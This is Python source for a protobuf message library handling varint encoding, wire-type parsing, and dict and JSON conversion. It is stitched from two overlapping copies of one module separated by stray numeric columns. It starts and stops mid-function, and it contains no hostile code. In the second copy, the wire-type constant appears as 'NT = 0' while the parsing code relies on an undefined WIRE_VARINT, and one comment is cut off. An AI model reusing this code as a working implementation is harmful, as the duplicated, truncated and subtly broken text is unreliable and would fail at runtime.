) -> Dict[str, Any]:
"""
Returns a JSON serializable dict representation of this object.
Parameters
-----------
casing: :class:`Casing`
The casing to use for key values. Default is :attr:`Casing.CAMEL` for
compatibility purposes.
include_default_values: :class:`bool`
If ``True`` will include the default values of fields. Default is ``False``.
E.g. an ``int32`` field will be included with a value of ``0`` if this is
set to ``True``, otherwise this would be ignored.
Returns
--------
Dict[:class:`str`, Any]
The JSON serializable dict representation of this object.
"""
output: Dict[str, Any] = {}
field_types = self._type_hints()
defaults = self._betterproto.default_gen
for field_name, meta in self._betterproto.meta_by_field_name.items():
field_is_repeated = defaults[field_name] is list
value = getattr(self, field_name)
cased_name = casing(field_name).rstrip("_") # type: ignore
if meta.proto_type == TYPE_MESSAGE:
if isinstance(value, datetime):
if (
value != DATETIME_ZERO
or include_default_values
or self._include_default_value_for_oneof(
field_name=field_name, meta=meta
)
):
output[cased_name] = _Timestamp.timestamp_to_json(value)
elif isinstance(value, timedelta):
if (
value != timedelta(0)
or include_default_values
or self._include_default_value_for_oneof(
field_name=field_name, meta=meta
)
):
output[cased_name] = _Duration.delta_to_json(value)
elif meta.wraps:
if value is not None or include_default_values:
output[cased_name] = value
elif field_is_repeated:
# Convert each item.
cls = self._betterproto.cls_by_field[field_name]
if cls == datetime:
value = [_Timestamp.timestamp_to_json(i) for i in value]
elif cls == timedelta:
value = [_Duration.delta_to_json(i) for i in value]
else:
value = [
i.to_dict(casing, include_default_values) for i in value
]
if value or include_default_values:
output[cased_name] = value
elif (
value._serialized_on_wire
or include_default_values
or self._include_default_value_for_oneof(
field_name=field_name, meta=meta
)
):
output[cased_name] = value.to_dict(casing, include_default_values)
elif meta.proto_type == TYPE_MAP:
for k in value:
if hasattr(value[k], "to_dict"):
value[k] = value[k].to_dict(casing, include_default_values)
if value or include_default_values:
output[cased_name] = value
elif (
value != self._get_field_default(field_name)
or include_default_values
or self._include_default_value_for_oneof(
field_name=field_name, meta=meta
)
):
if meta.proto_type in INT_64_TYPES:
if field_is_repeated:
output[cased_name] = [str(n) for n in value]
else:
output[cased_name] = str(value)
elif meta.proto_type == TYPE_BYTES:
if field_is_repeated:
output[cased_name] = [
b64encode(b).decode("utf8") for b in value
]
else:
output[cased_name] = b64encode(value).decode("utf8")
elif meta.proto_type == TYPE_ENUM:
if field_is_repeated:
enum_class: Type[Enum] = field_types[field_name].__args__[0]
if isinstance(value, typing.Iterable) and not isinstance(
value, str
):
output[cased_name] = [enum_class(el).name for el in value]
else:
# transparently upgrade single value to repeated
output[cased_name] = [enum_class(value).name]
else:
enum_class: Type[Enum] = field_types[field_name] # noqa
output[cased_name] = enum_class(value).name
else:
output[cased_name] = value
return output
def from_dict(self: T, value: Dict[str, Any]) -> T:
"""
Parse the key/value pairs into the current message instance. This returns the
instance itself and is therefore assignable and chainable.
Parameters
-----------
value: Dict[:class:`str`, Any]
The dictionary to parse from.
Returns
--------
:class:`Message`
The initialized message.
"""
self._serialized_on_wire = True
for key in value:
field_name = safe_snake_case(key)
meta = self._betterproto.meta_by_field_name.get(field_name)
if not meta:
continue
if value[key] is not None:
if meta.proto_type == TYPE_MESSAGE:
v = getattr(self, field_name)
if isinstance(v, list):
cls = self._betterproto.cls_by_field[field_name]
if cls == datetime:
v = [isoparse(item) for item in value[key]]
elif cls == timedelta:
v = [
timedelta(seconds=float(item[:-1]))
for item in value[key]
]
else:
v = [cls().from_dict(item) for item in value[key]]
elif isinstance(v, datetime):
v = isoparse(value[key])
setattr(self, field_name, v)
elif isinstance(v, timedelta):
v = timedelta(seconds=float(value[key][:-1]))
setattr(self, field_name, v)
elif meta.wraps:
setattr(self, field_name, value[key])
else:
# NOTE: `from_dict` mutates the underlying message, so no
# assignment here is necessary.
v.from_dict(value[key])
elif meta.map_types and meta.map_types[1] == TYPE_MESSAGE:
v = getattr(self, field_name)
cls = self._betterproto.cls_by_field[f"{field_name}.value"]
for k in value[key]:
v[k] = cls().from_dict(value[key][k])
else:
v = value[key]
if meta.proto_type in INT_64_TYPES:
if isinstance(value[key], list):
v = [int(n) for n in value[key]]
else:
v = int(value[key])
elif meta.proto_type == TYPE_BYTES:
if isinstance(value[key], list):
v = [b64decode(n) for n in value[key]]
else:
v = b64decode(value[key])
elif meta.proto_type == TYPE_ENUM:
enum_cls = self._betterproto.cls_by_field[field_name]
if isinstance(v, list):
v = [enum_cls.from_string(e) for e in v]
elif isinstance(v, str):
v = enum_cls.from_string(v)
if v is not None:
setattr(self, field_name, v)
return self
def to_json(self, indent: Union[None, int, str] = None) -> str:
"""A helper function to parse the message instance into its JSON
representation.
This is equivalent to::
json.dumps(message.to_dict(), indent=indent)
Parameters
-----------
indent: Optional[Union[:class:`int`, :class:`str`]]
The indent to pass to :func:`json.dumps`.
Returns
--------
:class:`str`
The JSON representation of the message.
"""
return json.dumps(self.to_dict(), indent=indent)
def from_json(self: T, value: Union[str, bytes]) -> T:
"""A helper function to return the message instance from its JSON
representation. This returns the instance itself and is therefore assignable
and chainable.
This is equivalent to::
return message.from_dict(json.loads(value))
Parameters
-----------
value: Union[:class:`str`, :class:`bytes`]
The value to pass to :func:`json.loads`.
Returns
--------
:class:`Message`
The initialized message.
"""
return self.from_dict(json.loads(value))
def serialized_on_wire(message: Message) -> bool:
"""
If this message was or should be serialized on the wire. This can be used to detect
presence (e.g. optional wrapper message) and is used internally during
parsing/serialization.
Returns
--------
:class:`bool`
Whether this message was or should be serialized on the wire.
"""
return message._serialized_on_wire
def which_one_of(message: Message, group_name: str) -> Tuple[str, Optional[Any]]:
"""
Return the name and value of a message's one-of field group.
Returns
--------
Tuple[:class:`str`, Any]
The field name and the value for that field.
"""
field_name = message._group_current.get(group_name)
if not field_name:
return "", None
return field_name, getattr(message, field_name)
# Circular import workaround: google.protobuf depends on base classes defined above.
from .lib.google.protobuf import ( # noqa
BoolValue,
BytesValue,
DoubleValue,
Duration,
FloatValue,
Int32Value,
Int64Value,
StringValue,
Timestamp,
UInt32Value,
UInt64Value,
)
class _Duration(Duration):
def to_timedelta(self) -> timedelta:
return timedelta(seconds=self.seconds, microseconds=self.nanos / 1e3)
@staticmethod
def delta_to_json(delta: timedelta) -> str:
parts = str(delta.total_seconds()).split(".")
if len(parts) > 1:
while len(parts[1]) not in [3, 6, 9]:
parts[1] = f"{parts[1]}0"
return f"{'.'.join(parts)}s"
class _Timestamp(Timestamp):
def to_datetime(self) -> datetime:
ts = self.seconds + (self.nanos / 1e9)
return datetime.fromtimestamp(ts, tz=timezone.utc)
@staticmethod
def timestamp_to_json(dt: datetime) -> str:
nanos = dt.microsecond * 1e3
copy = dt.replace(microsecond=0, tzinfo=None)
result = copy.isoformat()
if (nanos % 1e9) == 0:
# If there are 0 fractional digits, the fractional
# point '.' should be omitted when serializing.
return f"{result}Z"
if (nanos % 1e6) == 0:
# Serialize 3 fractional digits.
return f"{result}.{int(nanos // 1e6) :03d}Z"
if (nanos % 1e3) == 0:
# Serialize 6 fractional digits.
return f"{result}.{int(nanos // 1e3) :06d}Z"
# Serialize 9 fractional digits.
return f"{result}.{nanos:09d}"
class _WrappedMessage(Message):
"""
Google protobuf wrapper types base class. JSON representation is just the
value itself.
"""
value: Any
def to_dict(self, casing: Casing = Casing.CAMEL) -> Any:
return self.value
def from_dict(self: T, value: Any) -> T:
if value is not None:
self.value = value
return self
def _get_wrapper(proto_type: str) -> Type:
"""Get the wrapper message class for a wrapped type."""
return {
TYPE_BOOL: BoolValue,
TYPE_INT32: Int32Value,
TYPE_UINT32: UInt32Value,
TYPE_INT64: Int64Value,
TYPE_UINT64: UInt64Value,
TYPE_FLOAT: FloatValue,
TYPE_DOUBLE: DoubleValue,
TYPE_STRING: StringValue,
TYPE_BYTES: BytesValue,
}[proto_type]
| 34.573141 | 88 | 0.573143 | import dataclasses
import enum
import inspect
import json
import struct
import sys
import typing
from abc import ABC
from base64 import b64decode, b64encode
from datetime import datetime, timedelta, timezone
from dateutil.parser import isoparse
from typing import (
Any,
Callable,
Dict,
Generator,
List,
Optional,
Set,
Tuple,
Type,
Union,
get_type_hints,
)
from ._types import T
from .casing import camel_case, safe_snake_case, snake_case
from .grpc.grpclib_client import ServiceStub
TYPE_ENUM = "enum"
TYPE_BOOL = "bool"
TYPE_INT32 = "int32"
TYPE_INT64 = "int64"
TYPE_UINT32 = "uint32"
TYPE_UINT64 = "uint64"
TYPE_SINT32 = "sint32"
TYPE_SINT64 = "sint64"
TYPE_FLOAT = "float"
TYPE_DOUBLE = "double"
TYPE_FIXED32 = "fixed32"
TYPE_SFIXED32 = "sfixed32"
TYPE_FIXED64 = "fixed64"
TYPE_SFIXED64 = "sfixed64"
TYPE_STRING = "string"
TYPE_BYTES = "bytes"
TYPE_MESSAGE = "message"
TYPE_MAP = "map"
FIXED_TYPES = [
TYPE_FLOAT,
TYPE_DOUBLE,
TYPE_FIXED32,
TYPE_SFIXED32,
TYPE_FIXED64,
TYPE_SFIXED64,
]
INT_64_TYPES = [TYPE_INT64, TYPE_UINT64, TYPE_SINT64, TYPE_FIXED64, TYPE_SFIXED64]
PACKED_TYPES = [
TYPE_ENUM,
TYPE_BOOL,
TYPE_INT32,
TYPE_INT64,
TYPE_UINT32,
TYPE_UINT64,
TYPE_SINT32,
TYPE_SINT64,
TYPE_FLOAT,
TYPE_DOUBLE,
TYPE_FIXED32,
TYPE_SFIXED32,
TYPE_FIXED64,
TYPE_SFIXED64,
]
NT = 0
WIRE_FIXED_64 = 1
WIRE_LEN_DELIM = 2
WIRE_FIXED_32 = 5
WIRE_VARINT_TYPES = [
TYPE_ENUM,
TYPE_BOOL,
TYPE_INT32,
TYPE_INT64,
TYPE_UINT32,
TYPE_UINT64,
TYPE_SINT32,
TYPE_SINT64,
]
WIRE_FIXED_32_TYPES = [TYPE_FLOAT, TYPE_FIXED32, TYPE_SFIXED32]
WIRE_FIXED_64_TYPES = [TYPE_DOUBLE, TYPE_FIXED64, TYPE_SFIXED64]
WIRE_LEN_DELIM_TYPES = [TYPE_STRING, TYPE_BYTES, TYPE_MESSAGE, TYPE_MAP]
def datetime_default_gen() -> datetime:
return datetime(1970, 1, 1, tzinfo=timezone.utc)
DATETIME_ZERO = datetime_default_gen()
class Casing(enum.Enum):
CAMEL = camel_case
SNAKE = snake_case
PLACEHOLDER: Any = object()
@dataclasses.dataclass(frozen=True)
class FieldMetadata:
number: int
proto_type: str
map_types: Optional[Tuple[str, str]] = None
group: Optional[str] = None
wraps: Optional[str] = None
@staticmethod
def get(field: dataclasses.Field) -> "FieldMetadata":
return field.metadata["betterproto"]
def dataclass_field(
number: int,
proto_type: str,
*,
map_types: Optional[Tuple[str, str]] = None,
group: Optional[str] = None,
wraps: Optional[str] = None,
) -> dataclasses.Field:
return dataclasses.field(
default=PLACEHOLDER,
metadata={
"betterproto": FieldMetadata(number, proto_type, map_types, group, wraps)
},
)
# out at runtime. The generated dataclass variables are still typed correctly.
def enum_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_ENUM, group=group)
def bool_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_BOOL, group=group)
def int32_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_INT32, group=group)
def int64_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_INT64, group=group)
def uint32_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_UINT32, group=group)
def uint64_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_UINT64, group=group)
def sint32_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_SINT32, group=group)
def sint64_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_SINT64, group=group)
def float_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_FLOAT, group=group)
def double_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_DOUBLE, group=group)
def fixed32_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_FIXED32, group=group)
def fixed64_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_FIXED64, group=group)
def sfixed32_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_SFIXED32, group=group)
def sfixed64_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_SFIXED64, group=group)
def string_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_STRING, group=group)
def bytes_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_BYTES, group=group)
def message_field(
number: int, group: Optional[str] = None, wraps: Optional[str] = None
) -> Any:
return dataclass_field(number, TYPE_MESSAGE, group=group, wraps=wraps)
def map_field(
number: int, key_type: str, value_type: str, group: Optional[str] = None
) -> Any:
return dataclass_field(
number, TYPE_MAP, map_types=(key_type, value_type), group=group
)
class Enum(enum.IntEnum):
@classmethod
def from_string(cls, name: str) -> "Enum":
try:
return cls._member_map_[name]
except KeyError as e:
raise ValueError(f"Unknown value {name} for enum {cls.__name__}") from e
def _pack_fmt(proto_type: str) -> str:
return {
TYPE_DOUBLE: "<d",
TYPE_FLOAT: "<f",
TYPE_FIXED32: "<I",
TYPE_FIXED64: "<Q",
TYPE_SFIXED32: "<i",
TYPE_SFIXED64: "<q",
}[proto_type]
def encode_varint(value: int) -> bytes:
b: List[int] = []
if value < 0:
value += 1 << 64
bits = value & 0x7F
value >>= 7
while value:
b.append(0x80 | bits)
bits = value & 0x7F
value >>= 7
return bytes(b + [bits])
def _preprocess_single(proto_type: str, wraps: str, value: Any) -> bytes:
if proto_type in [
TYPE_ENUM,
TYPE_BOOL,
TYPE_INT32,
TYPE_INT64,
TYPE_UINT32,
TYPE_UINT64,
]:
return encode_varint(value)
elif proto_type in [TYPE_SINT32, TYPE_SINT64]:
# Handle zig-zag encoding.
return encode_varint(value << 1 if value >= 0 else (value << 1) ^ (~0))
elif proto_type in FIXED_TYPES:
return struct.pack(_pack_fmt(proto_type), value)
elif proto_type == TYPE_STRING:
return value.encode("utf-8")
elif proto_type == TYPE_MESSAGE:
if isinstance(value, datetime):
# Convert the `datetime` to a timestamp message.
seconds = int(value.timestamp())
nanos = int(value.microsecond * 1e3)
value = _Timestamp(seconds=seconds, nanos=nanos)
elif isinstance(value, timedelta):
# Convert the `timedelta` to a duration message.
total_ms = value // timedelta(microseconds=1)
seconds = int(total_ms / 1e6)
nanos = int((total_ms % 1e6) * 1e3)
value = _Duration(seconds=seconds, nanos=nanos)
elif wraps:
if value is None:
return b""
value = _get_wrapper(wraps)(value=value)
return bytes(value)
return value
def _serialize_single(
field_number: int,
proto_type: str,
value: Any,
*,
serialize_empty: bool = False,
wraps: str = "",
) -> bytes:
value = _preprocess_single(proto_type, wraps, value)
output = bytearray()
if proto_type in WIRE_VARINT_TYPES:
key = encode_varint(field_number << 3)
output += key + value
elif proto_type in WIRE_FIXED_32_TYPES:
key = encode_varint((field_number << 3) | 5)
output += key + value
elif proto_type in WIRE_FIXED_64_TYPES:
key = encode_varint((field_number << 3) | 1)
output += key + value
elif proto_type in WIRE_LEN_DELIM_TYPES:
if len(value) or serialize_empty or wraps:
key = encode_varint((field_number << 3) | 2)
output += key + encode_varint(len(value)) + value
else:
raise NotImplementedError(proto_type)
return bytes(output)
def decode_varint(buffer: bytes, pos: int) -> Tuple[int, int]:
result = 0
shift = 0
while 1:
b = buffer[pos]
result |= (b & 0x7F) << shift
pos += 1
if not (b & 0x80):
return result, pos
shift += 7
if shift >= 64:
raise ValueError("Too many bytes when decoding varint.")
@dataclasses.dataclass(frozen=True)
class ParsedField:
number: int
wire_type: int
value: Any
raw: bytes
def parse_fields(value: bytes) -> Generator[ParsedField, None, None]:
i = 0
while i < len(value):
start = i
num_wire, i = decode_varint(value, i)
number = num_wire >> 3
wire_type = num_wire & 0x7
decoded: Any = None
if wire_type == WIRE_VARINT:
decoded, i = decode_varint(value, i)
elif wire_type == WIRE_FIXED_64:
decoded, i = value[i : i + 8], i + 8
elif wire_type == WIRE_LEN_DELIM:
length, i = decode_varint(value, i)
decoded = value[i : i + length]
i += length
elif wire_type == WIRE_FIXED_32:
decoded, i = value[i : i + 4], i + 4
yield ParsedField(
number=number, wire_type=wire_type, value=decoded, raw=value[start:i]
)
class ProtoClassMetadata:
__slots__ = (
"oneof_group_by_field",
"oneof_field_by_group",
"default_gen",
"cls_by_field",
"field_name_by_number",
"meta_by_field_name",
"sorted_field_names",
)
oneof_group_by_field: Dict[str, str]
oneof_field_by_group: Dict[str, Set[dataclasses.Field]]
field_name_by_number: Dict[int, str]
meta_by_field_name: Dict[str, FieldMetadata]
sorted_field_names: Tuple[str, ...]
default_gen: Dict[str, Callable[[], Any]]
cls_by_field: Dict[str, Type]
def __init__(self, cls: Type["Message"]):
by_field = {}
by_group: Dict[str, Set] = {}
by_field_name = {}
by_field_number = {}
fields = dataclasses.fields(cls)
for field in fields:
meta = FieldMetadata.get(field)
if meta.group:
# This is part of a one-of group.
by_field[field.name] = meta.group
by_group.setdefault(meta.group, set()).add(field)
by_field_name[field.name] = meta
by_field_number[meta.number] = field.name
self.oneof_group_by_field = by_field
self.oneof_field_by_group = by_group
self.field_name_by_number = by_field_number
self.meta_by_field_name = by_field_name
self.sorted_field_names = tuple(
by_field_number[number] for number in sorted(by_field_number)
)
self.default_gen = self._get_default_gen(cls, fields)
self.cls_by_field = self._get_cls_by_field(cls, fields)
@staticmethod
def _get_default_gen(
cls: Type["Message"], fields: List[dataclasses.Field]
) -> Dict[str, Callable[[], Any]]:
return {field.name: cls._get_field_default_gen(field) for field in fields}
@staticmethod
def _get_cls_by_field(
cls: Type["Message"], fields: List[dataclasses.Field]
) -> Dict[str, Type]:
field_cls = {}
for field in fields:
meta = FieldMetadata.get(field)
if meta.proto_type == TYPE_MAP:
assert meta.map_types
kt = cls._cls_for(field, index=0)
vt = cls._cls_for(field, index=1)
field_cls[field.name] = dataclasses.make_dataclass(
"Entry",
[
("key", kt, dataclass_field(1, meta.map_types[0])),
("value", vt, dataclass_field(2, meta.map_types[1])),
],
bases=(Message,),
)
field_cls[f"{field.name}.value"] = vt
else:
field_cls[field.name] = cls._cls_for(field)
return field_cls
class Message(ABC):
_serialized_on_wire: bool
_unknown_fields: bytes
_group_current: Dict[str, str]
def __post_init__(self) -> None:
# Keep track of whether every field was default
all_sentinel = True
# Set current field of each group after `__init__` has already been run.
group_current: Dict[str, Optional[str]] = {}
for field_name, meta in self._betterproto.meta_by_field_name.items():
if meta.group:
group_current.setdefault(meta.group)
if self.__raw_get(field_name) != PLACEHOLDER:
# Found a non-sentinel value
all_sentinel = False
if meta.group:
# This was set, so make it the selected value of the one-of.
group_current[meta.group] = field_name
# Now that all the defaults are set, reset it!
self.__dict__["_serialized_on_wire"] = not all_sentinel
self.__dict__["_unknown_fields"] = b""
self.__dict__["_group_current"] = group_current
def __raw_get(self, name: str) -> Any:
return super().__getattribute__(name)
def __eq__(self, other) -> bool:
if type(self) is not type(other):
return False
for field_name in self._betterproto.meta_by_field_name:
self_val = self.__raw_get(field_name)
other_val = other.__raw_get(field_name)
if self_val is PLACEHOLDER:
if other_val is PLACEHOLDER:
continue
self_val = self._get_field_default(field_name)
elif other_val is PLACEHOLDER:
other_val = other._get_field_default(field_name)
if self_val != other_val:
return False
return True
def __repr__(self) -> str:
parts = [
f"{field_name}={value!r}"
for field_name in self._betterproto.sorted_field_names
for value in (self.__raw_get(field_name),)
if value is not PLACEHOLDER
]
return f"{self.__class__.__name__}({', '.join(parts)})"
def __getattribute__(self, name: str) -> Any:
value = super().__getattribute__(name)
if value is not PLACEHOLDER:
return value
value = self._get_field_default(name)
super().__setattr__(name, value)
return value
def __setattr__(self, attr: str, value: Any) -> None:
if attr != "_serialized_on_wire":
# Track when a field has been set.
self.__dict__["_serialized_on_wire"] = True
if hasattr(self, "_group_current"): # __post_init__ had already run
if attr in self._betterproto.oneof_group_by_field:
group = self._betterproto.oneof_group_by_field[attr]
for field in self._betterproto.oneof_field_by_group[group]:
if field.name == attr:
self._group_current[group] = field.name
else:
super().__setattr__(field.name, PLACEHOLDER)
super().__setattr__(attr, value)
def __bool__(self) -> bool:
return any(
self.__raw_get(field_name)
not in (PLACEHOLDER, self._get_field_default(field_name))
for field_name in self._betterproto.meta_by_field_name
)
@property
def _betterproto(self) -> ProtoClassMetadata:
meta = getattr(self.__class__, "_betterproto_meta", None)
if not meta:
meta = ProtoClassMetadata(self.__class__)
self.__class__._betterproto_meta = meta
return meta
def __bytes__(self) -> bytes:
output = bytearray()
for field_name, meta in self._betterproto.meta_by_field_name.items():
value = getattr(self, field_name)
if value is None:
# Optional items should be skipped. This is used for the Google
# wrapper types.
continue
# Being selected in a a group means this field is the one that is
# currently set in a `oneof` group, so it must be serialized even
# if the value is the default zero value.
selected_in_group = (
meta.group and self._group_current[meta.group] == field_name
)
# Empty messages can still be sent on the wire if they were
# set (or received empty).
serialize_empty = isinstance(value, Message) and value._serialized_on_wire
include_default_value_for_oneof = self._include_default_value_for_oneof(
field_name=field_name, meta=meta
)
if value == self._get_field_default(field_name) and not (
selected_in_group or serialize_empty or include_default_value_for_oneof
):
# Default (zero) values are not serialized. Two exceptions are
# if this is the selected oneof item or if we know we have to
# serialize an empty message (i.e. zero value was explicitly
# set by the user).
continue
if isinstance(value, list):
if meta.proto_type in PACKED_TYPES:
# Packed lists look like a length-delimited field. First,
# preprocess/encode each value into a buffer and then
# treat it like a field of raw bytes.
buf = bytearray()
for item in value:
buf += _preprocess_single(meta.proto_type, "", item)
output += _serialize_single(meta.number, TYPE_BYTES, buf)
else:
for item in value:
output += _serialize_single(
meta.number, meta.proto_type, item, wraps=meta.wraps or ""
)
elif isinstance(value, dict):
for k, v in value.items():
assert meta.map_types
sk = _serialize_single(1, meta.map_types[0], k)
sv = _serialize_single(2, meta.map_types[1], v)
output += _serialize_single(meta.number, meta.proto_type, sk + sv)
else:
# If we have an empty string and we're including the default value for
# serialization will keep `which_one_of` calls consistent.
if (
isinstance(value, str)
and value == ""
and include_default_value_for_oneof
):
serialize_empty = True
output += _serialize_single(
meta.number,
meta.proto_type,
value,
serialize_empty=serialize_empty,
wraps=meta.wraps or "",
)
output += self._unknown_fields
return bytes(output)
# For compatibility with other libraries
def SerializeToString(self: T) -> bytes:
return bytes(self)
@classmethod
def _type_hint(cls, field_name: str) -> Type:
return cls._type_hints()[field_name]
@classmethod
def _type_hints(cls) -> Dict[str, Type]:
module = sys.modules[cls.__module__]
return get_type_hints(cls, vars(module))
@classmethod
def _cls_for(cls, field: dataclasses.Field, index: int = 0) -> Type:
field_cls = cls._type_hint(field.name)
if hasattr(field_cls, "__args__") and index >= 0:
if field_cls.__args__ is not None:
field_cls = field_cls.__args__[index]
return field_cls
def _get_field_default(self, field_name: str) -> Any:
return self._betterproto.default_gen[field_name]()
@classmethod
def _get_field_default_gen(cls, field: dataclasses.Field) -> Any:
t = cls._type_hint(field.name)
if hasattr(t, "__origin__"):
if t.__origin__ in (dict, Dict):
# This is some kind of map (dict in Python).
return dict
elif t.__origin__ in (list, List):
# This is some kind of list (repeated) field.
return list
elif t.__origin__ is Union and t.__args__[1] is type(None):
# This is an optional (wrapped) field. For setting the default we
# really don't care what kind of field it is.
return type(None)
else:
return t
elif issubclass(t, Enum):
return int
elif t is datetime:
return datetime_default_gen
else:
return t
def _postprocess_single(
self, wire_type: int, meta: FieldMetadata, field_name: str, value: Any
) -> Any:
if wire_type == WIRE_VARINT:
if meta.proto_type in [TYPE_INT32, TYPE_INT64]:
bits = int(meta.proto_type[3:])
value = value & ((1 << bits) - 1)
signbit = 1 << (bits - 1)
value = int((value ^ signbit) - signbit)
elif meta.proto_type in [TYPE_SINT32, TYPE_SINT64]:
value = (value >> 1) ^ (-(value & 1))
elif meta.proto_type == TYPE_BOOL:
value = value > 0
elif wire_type in [WIRE_FIXED_32, WIRE_FIXED_64]:
fmt = _pack_fmt(meta.proto_type)
value = struct.unpack(fmt, value)[0]
elif wire_type == WIRE_LEN_DELIM:
if meta.proto_type == TYPE_STRING:
value = value.decode("utf-8")
elif meta.proto_type == TYPE_MESSAGE:
cls = self._betterproto.cls_by_field[field_name]
if cls == datetime:
value = _Timestamp().parse(value).to_datetime()
elif cls == timedelta:
value = _Duration().parse(value).to_timedelta()
elif meta.wraps:
value = _get_wrapper(meta.wraps)().parse(value).value
else:
value = cls().parse(value)
value._serialized_on_wire = True
elif meta.proto_type == TYPE_MAP:
value = self._betterproto.cls_by_field[field_name]().parse(value)
return value
def _include_default_value_for_oneof(
self, field_name: str, meta: FieldMetadata
) -> bool:
return (
meta.group is not None and self._group_current.get(meta.group) == field_name
)
def parse(self: T, data: bytes) -> T:
self._serialized_on_wire = True
proto_meta = self._betterproto
for parsed in parse_fields(data):
field_name = proto_meta.field_name_by_number.get(parsed.number)
if not field_name:
self._unknown_fields += parsed.raw
continue
meta = proto_meta.meta_by_field_name[field_name]
value: Any
if parsed.wire_type == WIRE_LEN_DELIM and meta.proto_type in PACKED_TYPES:
pos = 0
value = []
while pos < len(parsed.value):
if meta.proto_type in [TYPE_FLOAT, TYPE_FIXED32, TYPE_SFIXED32]:
decoded, pos = parsed.value[pos : pos + 4], pos + 4
wire_type = WIRE_FIXED_32
elif meta.proto_type in [TYPE_DOUBLE, TYPE_FIXED64, TYPE_SFIXED64]:
decoded, pos = parsed.value[pos : pos + 8], pos + 8
wire_type = WIRE_FIXED_64
else:
decoded, pos = decode_varint(parsed.value, pos)
wire_type = WIRE_VARINT
decoded = self._postprocess_single(
wire_type, meta, field_name, decoded
)
value.append(decoded)
else:
value = self._postprocess_single(
parsed.wire_type, meta, field_name, parsed.value
)
current = getattr(self, field_name)
if meta.proto_type == TYPE_MAP:
current[value.key] = value.value
elif isinstance(current, list) and not isinstance(value, list):
current.append(value)
else:
setattr(self, field_name, value)
return self
@classmethod
def FromString(cls: Type[T], data: bytes) -> T:
return cls().parse(data)
def to_dict(
self, casing: Casing = Casing.CAMEL, include_default_values: bool = False
) -> Dict[str, Any]:
output: Dict[str, Any] = {}
field_types = self._type_hints()
defaults = self._betterproto.default_gen
for field_name, meta in self._betterproto.meta_by_field_name.items():
field_is_repeated = defaults[field_name] is list
value = getattr(self, field_name)
cased_name = casing(field_name).rstrip("_")
if meta.proto_type == TYPE_MESSAGE:
if isinstance(value, datetime):
if (
value != DATETIME_ZERO
or include_default_values
or self._include_default_value_for_oneof(
field_name=field_name, meta=meta
)
):
output[cased_name] = _Timestamp.timestamp_to_json(value)
elif isinstance(value, timedelta):
if (
value != timedelta(0)
or include_default_values
or self._include_default_value_for_oneof(
field_name=field_name, meta=meta
)
):
output[cased_name] = _Duration.delta_to_json(value)
elif meta.wraps:
if value is not None or include_default_values:
output[cased_name] = value
elif field_is_repeated:
cls = self._betterproto.cls_by_field[field_name]
if cls == datetime:
value = [_Timestamp.timestamp_to_json(i) for i in value]
elif cls == timedelta:
value = [_Duration.delta_to_json(i) for i in value]
else:
value = [
i.to_dict(casing, include_default_values) for i in value
]
if value or include_default_values:
output[cased_name] = value
elif (
value._serialized_on_wire
or include_default_values
or self._include_default_value_for_oneof(
field_name=field_name, meta=meta
)
):
output[cased_name] = value.to_dict(casing, include_default_values)
elif meta.proto_type == TYPE_MAP:
for k in value:
if hasattr(value[k], "to_dict"):
value[k] = value[k].to_dict(casing, include_default_values)
if value or include_default_values:
output[cased_name] = value
elif (
value != self._get_field_default(field_name)
or include_default_values
or self._include_default_value_for_oneof(
field_name=field_name, meta=meta
)
):
if meta.proto_type in INT_64_TYPES:
if field_is_repeated:
output[cased_name] = [str(n) for n in value]
else:
output[cased_name] = str(value)
elif meta.proto_type == TYPE_BYTES:
if field_is_repeated:
output[cased_name] = [
b64encode(b).decode("utf8") for b in value
]
else:
output[cased_name] = b64encode(value).decode("utf8")
elif meta.proto_type == TYPE_ENUM:
if field_is_repeated:
enum_class: Type[Enum] = field_types[field_name].__args__[0]
if isinstance(value, typing.Iterable) and not isinstance(
value, str
):
output[cased_name] = [enum_class(el).name for el in value]
else:
output[cased_name] = [enum_class(value).name]
else:
enum_class: Type[Enum] = field_types[field_name]
output[cased_name] = enum_class(value).name
else:
output[cased_name] = value
return output
def from_dict(self: T, value: Dict[str, Any]) -> T:
self._serialized_on_wire = True
for key in value:
field_name = safe_snake_case(key)
meta = self._betterproto.meta_by_field_name.get(field_name)
if not meta:
continue
if value[key] is not None:
if meta.proto_type == TYPE_MESSAGE:
v = getattr(self, field_name)
if isinstance(v, list):
cls = self._betterproto.cls_by_field[field_name]
if cls == datetime:
v = [isoparse(item) for item in value[key]]
elif cls == timedelta:
v = [
timedelta(seconds=float(item[:-1]))
for item in value[key]
]
else:
v = [cls().from_dict(item) for item in value[key]]
elif isinstance(v, datetime):
v = isoparse(value[key])
setattr(self, field_name, v)
elif isinstance(v, timedelta):
v = timedelta(seconds=float(value[key][:-1]))
setattr(self, field_name, v)
elif meta.wraps:
setattr(self, field_name, value[key])
else:
v.from_dict(value[key])
elif meta.map_types and meta.map_types[1] == TYPE_MESSAGE:
v = getattr(self, field_name)
cls = self._betterproto.cls_by_field[f"{field_name}.value"]
for k in value[key]:
v[k] = cls().from_dict(value[key][k])
else:
v = value[key]
if meta.proto_type in INT_64_TYPES:
if isinstance(value[key], list):
v = [int(n) for n in value[key]]
else:
v = int(value[key])
elif meta.proto_type == TYPE_BYTES:
if isinstance(value[key], list):
v = [b64decode(n) for n in value[key]]
else:
v = b64decode(value[key])
elif meta.proto_type == TYPE_ENUM:
enum_cls = self._betterproto.cls_by_field[field_name]
if isinstance(v, list):
v = [enum_cls.from_string(e) for e in v]
elif isinstance(v, str):
v = enum_cls.from_string(v)
if v is not None:
